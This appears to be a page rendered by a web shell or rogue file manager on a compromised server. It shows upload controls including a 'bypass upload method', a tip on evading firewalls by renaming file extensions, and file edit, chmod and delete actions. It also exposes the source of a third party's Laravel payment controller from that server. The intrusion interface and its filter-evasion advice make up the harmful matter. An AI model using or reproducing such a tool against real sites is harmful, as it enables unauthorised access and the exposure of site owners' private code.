Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
podiocopy.bitkit.dk
httpdocs
app
Http
Controllers
File Content:
PhasesPayController.php
<?php /** * Created by PhpStorm. * User: jis * Date: 20/4/16 * Time: 11:03 AM */ namespace App\Http\Controllers; use App\Modules\Configurations\Config; use App\Modules\GenModels\Estimate; use App\Modules\GenModels\PhasesPay; use Firebase\JWT\JWT; use Input; use Log; use Auth; use MongoDB\BSON\ObjectId; use MongoId; class PhasesPayController extends Controller { public function __construct() { log::info("Inside Pay controller"); } // public function getPaymentSave() // { // echo "getPaymentSave"; // log::info("Inside get save"); // } public function postPaymentSave() { Log::info("saving data post"); $amount = Input::get("amount"); $amountInBasicUnit = $amount * 100; $estimateID = Input::get("estimate_id"); $item_name = Input::get("item_name"); $model = new Estimate(); $estimate = $model->findOne(array('_id' => new ObjectId($estimateID))); // check the amounts are same if ($estimate["amount"] == $amount) { // insert into DB $data = array("estimateID" => $estimateID, "amount" => $amount, "customerName" => Auth::user()->name, "customerEmail" => Auth::user()->email, "amountInBasicUnit" => $amountInBasicUnit, "status" => "sent_to_pahses_pay"); $phasesPayModel = new PhasesPay(); $id = $phasesPayModel->create($data); //log::info("postPaymentSave"); $data = array("productCode" => 'data_copy', "externalTransactionId" => (String)$id, "invoiceText" => $item_name, "stripeStatementDescriptor" => $item_name, "totalAmountToChargeInBasicUnit" => $amountInBasicUnit, "currency" => 'usd', "successRedirect" => url() . '/phases-pay/payment-success', "failureRedirect" => url() . '/phases-pay/payment-failure', "CancelRedirect" => url() . '/phases-pay/payment-cancel', "customerName" => Auth::user()->name, "customerEmail" => Auth::user()->email, "transactionType" => 'product'); $secretKey = Config::$JWT_KEY; $jwt = JWT::encode( $data, //Data to be encoded in the JWT $secretKey, // The signing key 'HS256' // Algorithm used to sign the token, see https://tools.ietf.org/html/draft-ietf-jose-json-web-algorithms-40#section-3 ); Log::info("redirecting"); return view('payment-redirect', array("data" => $jwt)); } return "Amount does not match."; } public function getPaymentSuccess() { echo "getPaymentSuccess"; } public function postPaymentSuccess() { $secretKey = Config::$JWT_KEY; $token = JWT::decode(Input::get("data"), $secretKey, array('HS256')); $phasesPayModel = new PhasesPay(); $paymentData = $phasesPayModel->findOne(array('_id' => new ObjectId($token->ExternalTransactionId))); if ($paymentData) { if ($paymentData['status'] == "sent_to_pahses_pay") { $phasesPayModel->update(array('_id' => new ObjectId($token->ExternalTransactionId)), array("status" => "processed", "PhasesPayId" => $token->PhasesPayId, "TotalAmountToCharge" => $token->TotalAmountToCharge, "StripeTransactionStatus" => $token->StripeTransactionStatus, "StripeTransactionId" => $token->StripeTransactionId, "StripeFailureCode" => $token->StripeFailureCode, "StripeFailureMessage" => $token->StripeFailureMessage, "TransactionSucceeded" => $token->TransactionSucceeded, "VatAmount" => $token->VatAmount)); // start the process asynchronously $url = url() . '/move/start-transfer-from-estimate/' . $paymentData['estimateID']; log::info($url); $cmd = " wget -O /dev/null -o /dev/null -qb -t 1 --no-check-certificate " . $url; $pid = shell_exec($cmd); log::info($pid); return view('transfer.payment-success'); } else { $phasesPayModel->update(array('_id' => new ObjectId($token->ExternalTransactionId)), array("error" => "already_processed")); } } return "Canceled"; } public function getPaymentCancel() { Log::info("paymentCancel"); Log::info(Input::all()); echo "Canceled"; } public function getPaymentFailure() { try { Log::info("paymentCancel"); Log::info(Input::all()); $secretKey = Config::$JWT_KEY; $token = JWT::decode(Input::get("data"), $secretKey, array('HS256')); $phasesPayModel = new PhasesPay(); $paymentData = $phasesPayModel->findOne(array('_id' => new ObjectId($token->ExternalTransactionId))); if ($paymentData) { if ($paymentData['status'] == "sent_to_pahses_pay") { $phasesPayModel->update(array('_id' => new ObjectId($token->ExternalTransactionId)), array("status" => "failed", "PhasesPayId" => $token->PhasesPayId, "TotalAmountToCharge" => $token->TotalAmountToCharge, "StripeTransactionStatus" => $token->StripeTransactionStatus, "StripeTransactionId" => $token->StripeTransactionId, "StripeFailureCode" => $token->StripeFailureCode, "StripeFailureMessage" => $token->StripeFailureMessage, "TransactionSucceeded" => $token->TransactionSucceeded, "VatAmount" => $token->VatAmount)); } else { $phasesPayModel->update(array('_id' => new ObjectId($token->ExternalTransactionId)), array("error" => "already_processed")); } } echo "Canceled"; }catch(\Exception $e){ echo "Payment Failure!"; } } public function postPaymentCancel() { Log::info("paymentCancel"); Log::info(Input::all()); echo "Canceled"; } public function postPaymentFailure() { Log::info("paymentCancel"); Log::info(Input::all()); echo "Canceled"; } }
Edit
Download
Unzip
Chmod
Delete